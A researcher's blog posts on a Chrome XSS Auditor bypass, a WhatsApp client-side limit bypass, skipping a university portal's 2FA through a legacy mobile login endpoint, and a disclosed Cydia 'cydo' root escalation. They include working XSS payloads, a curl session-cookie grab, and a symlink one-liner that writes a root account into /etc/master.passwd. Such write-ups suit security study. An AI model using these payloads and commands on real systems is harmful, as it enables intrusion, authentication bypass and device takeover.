pythech's Blog

Not a hacker blog

Yet Another Chrome XSS Auditor Bypass

I don’t know if this variation is known publicly or not, but I found it by myself so I thought it was worth telling. This one requires two parameters to be injected. So that’s not terribly useful, but still I’ve seen this pattern more than once. Examples below assume two different parameters are injected but, as you will see it’s also possible when the same parameter is injected, twice.

1
<a href="https://example.com/login?paramOne=<?= $_GET['a'] ?>&paramTwo=<?= $_GET['b'] ?>&paramThree">

This example is actually taken from a real website (simplified, of course). I’ve since reported the issue but the website owner said they won’t fix it for unknown reasons, sadly.

The most straightforward way to inject would be adding event handlers (onerror etc.) but due to the auditor’s blocking, we have to skip that. Instead actually we’ll inject <script> tags and it’s that easy.

Let’s try setting parameter a to "><script>, resulting in this:

1
<a href="https://example.com/login?paramOne="><script>&paramTwo=&paramThree">

demo

Suprisingly, Chrome doesn’t detect this as an issue, I thought this vector was one the first things you’d try but apparently not. Let’s go further, this <script> tag is not closed, let’s try that:

xss.php?a="><script>&b=</script>

1
<a href="https://example.com/login?paramOne="><script>&paramTwo=</script>&paramThree">

demo

We now get Uncaught SyntaxError: Unexpected token & in the console. It now seems evident that this is an edge case that Chrome is unable to reason about.

&paramTwo= is causing us trouble. We could in fact try to comment it out with /* */ but Chrome detects that as an issue. An alternative to that would be //, but again it’s detected. One last chance, why not make it a string? It actually works and frankly, I guess this is the crux of the bypass.

xss.php?a="><script>"&b=";</script>

1
<a href="https://example.com/login?paramOne="><script>"&paramTwo=";</script>&paramThree">

demo

The error is gone and we still bypass the auditor. Final moments, let’s try some code injection.

xss.php?a="><script>"&b=";alert('xss')</script>

1
<a href="https://example.com/login?paramOne="><script>"&paramTwo=";alert('xss')</script>&paramThree">

demo

This bypass works on Google Chrome v62 and Safari v11.0.1, both are the latest versions at the time of this writing. Internet Explorer 11 and Edge seem to be immune.

Variations

There are some variations to this, the scenario above is what I’ve seen in real life, but it seems the injection doesn’t have to be inside an attribute. All we need is two XSS injections in the same page. I admit it’s not that useful but again I didn’t see it on the blogs before.

Variation 1

1
<?= $_GET['a'] ?><?= $_GET['b'] ?>

Bypass: xss2.php?a=<script>"&b=";alert('xss')</script>

demo

This is actually what confuses Chrome, if we don’t inject double quotes ("), XSS Auditor complains but somehow adding empty strings fools it.

Variation 2

1
2
3
<?= $_GET['a'] ?>

<?= $_GET['b'] ?>

Bypass: xss3.php?a=<script>"\&b=";alert('xss')</script>

demo

Using ES5 feature to make multiline strings.

Variation 3

1
2
3
4
5
Results for a: <?= $_GET['a'] ?>

Results for c: <a id='test' href="https://example.com">test</a>
<img src='https://example.com/favicon.ico'>
Results for b: <?= $_GET['b'] ?>

Bypass: xss4.php?a=<script>`&b=`;alert('xss')</script>

demo

This time we had to use the ES6 feature called template literals that supports multiline strings natively. Unless you’re not terribly unlucky, this will escape everything in between the two injections. Problems can arrise if there is a closing </script> tag or ${} or even the backtick (`) itself between them.

Variation 4

1
2
3
4
5
Results for a: <?= $_GET['a'] ?>

Results for c: <a id='test' href="https://example.com">test</a>
<img src='https://example.com/favicon.ico'>
Results for b: <?= $_GET['a'] ?>

Bypass: xss5.php?a=`;alert('xss')</script><script>`

demo

This time the same parameter is used twice, we can still bypass it though. The basics are the same, first create a <script>` in the first injection point. Then inject `;//code goes here again. HTML between the two points will be ignored. Then close it with </script> so that Chrome executes it.

Update

While working with the original sample, I remembered that there are actually two more ways to create a javascript comment. In javascript apparently you can do a one-line comment using either <!-- or more surprisingly -->. And the rules for them differ too. Here is the spec.

Typically used like this:

1
2
3
4
5
<script>
//<!--
alert("code goes here");
//-->
</script>

or

1
2
3
4
5
<script>
<!--
alert("code goes here");
-->
</script>

Most people don’t know about --> case though so I’ve also seen this:

1
2
3
4
5
<script>
<!--
alert("code goes here");
//-->
</script>

These are legacy features from a distant past to protect against browsers that couldn’t understand javascript so you could safely comment out the code, using HTML comments of course. Legacy strikes again.

Here is an explanation about how they work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1. You can use <!-- for single-line comments
//    You cannot comment it out with --> unlike HTML
//    Only Line-Break works.
//    It is equivalent to //

alert(1); <!-- HTML-like comment --> this actually doesn't work

// 2. Next we have --> which is a bit more confusing.
//    Like <!-- it is also a single-line comment.
//    However it is not equivalent to //
//    It only comments out under these circumtances

--> Sample 1: At the start of the line (whitespace is ignored)

/* Sample 2 */ --> After a single-line C-style comment

/* 
 * Sample 3
 */ --> After a multi-line C-style comment

 /*
  * Sample 4
  */ /* foo */ --> After a multi-line and single-line comment (can chain like this)

alert(2); --> This one is not treated as a comment

Admittedly, the fact that you can chain C-style comments with --> is interesting enough but that’s not really useful. It’s something to keep in mind though, it may prove useful some time.

So now you know --> is a bit special and if we get back to the case where I said neither commenting out with /* */ or // works, we have two more options.

In this case <!-- doesn’t work either but --> acts differently and it actually works.

1
2
<a href="https://example.com/login?paramOne="><script>-->&paramTwo=
alert('xss')</script>&paramThree">

Bypass: xss.php?a=<script>-->&b=%0aalert('xss')</script>

demo

WhatsApp Group Subject Max Character Limit Bypass

Few days ago WhatsApp pushed a new update to those who have iOS devices, the most substantial one is perhaps the redesigned UI, which looks better than before if you ask me. If you have noticed, group titles are now aligned to the left, rather then centre, again a good looking change. However the ridiculous 25 character limit for the subject length became more apparent now, there is just too much space and frankly, it feels bad not to be able to utilize all of that. Here’s how to fix it.

Background

I was challenged by a friend of mine to write a WhatsApp bot a few months ago, which is probably illegal, but trust me all it did was posting a few selected high quality dank memes™. The bot was a greasemonkey script which hooked web.whatsapp.com, cool. Automating the Whatsapp UI was a little more than glitchy than I expected, but it worked so ¯\_(ツ)_/¯. Though, it didn’t seem like a good idea after I was done with it and in the end we had to shut it down (using too much bandwith and all that, it wasn’t practical).

Fast-forward a few months I tried to do the same thing this time on the jailbroken iPhone itself. While poking around the code though I have discovered that WhatsApp’s real character limit for group title is actually … 35? If you don’t already know WhatsApp normally restricts titles to 25 characters, while its servers handle 35 characters… just fine.

I don’t know what happened at the WhatsApp’s end but I’d imagine WhatsApp originally had 35 character limit and then they decided that it was too long and reduced to 25. Limiting it by the client-side is totally enough I guess. And instead of truncating the older subjects they wanted backwards compatability or just simply forgot about it.

Bypass using Whatsapp Web

Well there is a few way to do is but probably the most easier one is using web.whatsapp.com. After logging in, go to the group info, right click to the subject name and just Inspect Element ¯\_(ツ)_/¯. Well I think that’s enough for a lot of folks but if you need help here are some more steps:

  • Click Edit Text
  • Enter your new subject title
  • Since the javascript event for input change wasn’t triggered you should mutate the subject using normal ways, like adding a dummy character and deleting it, whatever works best.

And you’re done. If you want to be fancy you can also type

1
$('.input-text').onkeypress = function(e) { e.stopPropagation(); }

into your browser’s console to stop WhatsApp from sanitizing your input.

Note that you have to paste this code after you open the Group Info panel (which is used to change the subject title, duh). Also you don’t have to count character bytes for this one, every unicode character is counted as 1.

Bypass using Theos

Another possibility is that using Theos to make a tweak to change the max subject length on the device itself. It’s an easy one too, you only have to hook one function as below:

1
2
3
4
5
6
%hook WAServerProperties
+(NSInteger) maxGroupSubjectLength
{
  return 35; // it's really 35, trust me
}
%end

Obviously you can use Flex or FLEXible for this task since it’s too easy.

By the way, you might ask what if I increase the limit to something higher than 35, well this is what happens:

Update

The bypass methods I published for WhatsApp Web no longer work as of November 2017. No need to worry though, I’ve come up with a far easier method.

When you open web.whatsapp.com for the first time, open the browser console and paste this:

1
Store.ServerProps.maxSubject = 35

From now on you should be able to change any group subject up to 35 characters, this is similar to the Theos hack.

Bilkent SRS Two-Factor Authentication Bypass

Starting this semester, our school requires Two-Factor Authentication via SMS or e-mail for the “student management system” of our sorts. While it sounds like a good idea, it’s not opt-in or opt-out, meaning you cannot disable it. And sometimes it takes minutes to recieve the code, something that is very annoying for a quick visit or when you don’t have much time.

Technically, it’s actually Two-Step Verification but nobody cares about the difference between the two these days, right? At least that’s what the website calls it. Anyway I didn’t really do anything fancy, it’s just common sense: Why does the website require an SMS code while the mobile app for SRS works perfectly as is. You’d expect the mobile app to get limited priviledges, an API etc. but nope, it’s just a plain HTML renderer. What does this mean is that it somehow logins to the website without using the 2FA, in fact I’m not the one bypassing it, it’s the LEGACY CODE!

Phew, that was hard, using a simple local proxy solves the mystery:

1
2
3
4
5
6
7
8
9
10
11
POST /srs/ajax/login.php HTTP/1.1
Host: stars.bilkent.edu.tr
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Accept: */*
User-Agent: Bilkent STARS/1.8.1 (iPhone; iOS 9.3.3; Scale/2.00)
Accept-Language: en-TR;q=1, tr-TR;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: REDACTED

ID=REDACTED&PWD=REDACTED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Sun, 23 Oct 2016 12:02:17 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.29-1~dotdeb.0
Set-Cookie: PHPSESSID=REDACTED; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4
Keep-Alive: timeout=1, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

HOME

Now all you have to do is

1
2
3
curl -i -s -X POST \
    --data-binary 'ID=<YOUR_ID>&PWD=<YOUR_PASSWORD>' \
    'https://stars.bilkent.edu.tr/srs/ajax/login.php' | grep PHPSESSID | cut -c 23-48

and use the extracted PHPSESSID cookie on your browser of choice.

Cydo Local Privilege Escalation

Last month I discovered an LPE on cydo which is a suid wrapper for Cydia that grants root privileges when necessary. Cydia was criticized for running as root by some for a long time, and finally Jay Freeman (the creator of Cydia) reduced its privileges to mobile. Sweet! The most obvious change was the ability to tweak Cydia itself, such as theming and fixing some annoyances with tweaks like Pheromone.

cydo is like sudo except it only gives permissions when it’s launched by Cydia.app. It does this by checking launchd parameters, comparing the originating program path with /Applications/Cydia.app/Cydia. Since very often Cydia needs root permissions to install packages, cydo is mainly used as a dpkg wrapper.

The flaw in the code is obvious, it’ll take a few minutes for experienced security enthusiasts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/* Cydia - iPhone UIKit Front-End for Debian APT
 * Copyright (C) 2008-2015  Jay Freeman (saurik)
*/

/* GNU General Public License, Version 3 */
/*
 * Cydia is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published
 * by the Free Software Foundation, either version 3 of the License,
 * or (at your option) any later version.
 *
 * Cydia is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Cydia.  If not, see <http://www.gnu.org/licenses/>.
**/

#include <cstdio>
#include <cstdlib>

#include <errno.h>
#include <sysexits.h>
#include <unistd.h>

#include <launch.h>

#include <Menes/Function.h>

typedef Function<void, const char *, launch_data_t> LaunchDataIterator;

void launch_data_dict_iterate(launch_data_t data, LaunchDataIterator code) {
    launch_data_dict_iterate(data, [](launch_data_t value, const char *name, void *baton) {
        (*static_cast<LaunchDataIterator *>(baton))(name, value);
    }, &code);
}

int main(int argc, char *argv[]) {
    auto log(fopen("/tmp/cydia.log", "a+"));
    fprintf(log, "cydo:");
    for (int arg(1); arg < argc; ++arg)
        fprintf(log, " %s", argv[arg]);
    fprintf(log, "\n");

    auto request(launch_data_new_string(LAUNCH_KEY_GETJOBS));
    auto response(launch_msg(request));
    launch_data_free(request);

    _assert(response != NULL);
    _assert(launch_data_get_type(response) == LAUNCH_DATA_DICTIONARY);

    auto parent(getppid());

    auto cydia(false);

    launch_data_dict_iterate(response, [=, &cydia](const char *name, launch_data_t value) {
        if (launch_data_get_type(response) != LAUNCH_DATA_DICTIONARY)
            return;

        auto integer(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PID));
        if (integer == NULL || launch_data_get_type(integer) != LAUNCH_DATA_INTEGER)
            return;

        auto pid(launch_data_get_integer(integer));
        if (pid != parent)
            return;

        auto variables(launch_data_dict_lookup(value, LAUNCH_JOBKEY_ENVIRONMENTVARIABLES));
        if (variables != NULL && launch_data_get_type(variables) == LAUNCH_DATA_DICTIONARY) {
            auto dyld(false);

            launch_data_dict_iterate(variables, [&dyld](const char *name, launch_data_t value) {
                if (strncmp(name, "DYLD_", 5) == 0)
                    dyld = true;
            });

            if (dyld)
                return;
        }

        auto string(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PROGRAM));
        if (string == NULL || launch_data_get_type(string) != LAUNCH_DATA_STRING) {
            auto array(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PROGRAMARGUMENTS));
            if (array == NULL || launch_data_get_type(array) != LAUNCH_DATA_ARRAY)
                return;
            if (launch_data_array_get_count(array) == 0)
                return;

            string = launch_data_array_get_index(array, 0);
            if (string == NULL || launch_data_get_type(string) != LAUNCH_DATA_STRING)
                return;
        }

        auto program(launch_data_get_string(string));
        if (program == NULL)
            return;

        if (strcmp(program, "/Applications/Cydia.app/Cydia") == 0)
            cydia = true;
    });

    if (!cydia) {
        fprintf(stderr, "thou shalt not pass\n");
        return EX_NOPERM;
    }

    fflush(log);
    fclose(log);

    setuid(0);
    setgid(0);

    if (argc < 2 || argv[1][0] != '/')
        argv[0] = "/usr/bin/dpkg";
    else {
        --argc;
        ++argv;
    }

    execv(argv[0], argv);
    return EX_UNAVAILABLE;
}

For those feeling difficulity seeing the error, it’s fine. It’s the most unexpected piece of the code (or the most expected for security people). Take a look closer:

1
2
3
4
5
6
7
8
...
int main(int argc, char *argv[]) {
    auto log(fopen("/tmp/cydia.log", "a+"));
    fprintf(log, "cydo:");
    for (int arg(1); arg < argc; ++arg)
        fprintf(log, " %s", argv[arg]);
    fprintf(log, "\n");
...

Looks like the first thing cydo does is logging parameters, cool. BUT, remember, we are setuid binary owned by root. It’ll write files with root privileges!

Exploit

Before we begin, we have to ssh to the iDevice. While most jailbreakers are taught to change their root passwords, they don’t change their mobile passwords. The default password for mobile@idevice is alpine.

Assuming we gained access to the victim as mobile, let’s use this arbitrary write to escalate our privileges. The most obvious way to do is overwriting /etc/master.passwd, since XNU, the kernel of iOS, is based on BSD.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Hakans-iPhone:~ mobile$ ln -sf /etc/master.passwd /tmp/cydia.log
Hakans-iPhone:~ mobile$ /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"
thou shalt not pass
Hakans-iPhone:~ mobile$ su cydo
Hakans-iPhone:~ root# cat /etc/master.passwd
##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:REDACTED:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:REDACTED:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
_neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
_distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
cydo: :0:0::0:0:System Administrator:/var/root:/bin/sh
Hakans-iPhone:~ root# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Hakans-iPhone:~ root# uname -a
Darwin Hakans-iPhone 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin

The best part? It fits in a tweet! ln -sf /etc/master.passwd /tmp/cydia.log; /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"; su cydo

Report Timeline

  • 21.08.2015 - Initial disclosure was sent, developer said he’s going to remove the logging entirely.
  • 08.09.2015 - Requested status update, developer stated that he was distracted by fixing other things and he’ll work on Cydia imminently.
  • 14.10.2015 - Fix is released after iOS 9 became jailbroken (yay), if you dig enough, you can see the credits here.

Update

During this time saurik also asked me to check if I can find another vulnerability on Cydia, click here for a lot less interesting vulnerability if you are interested.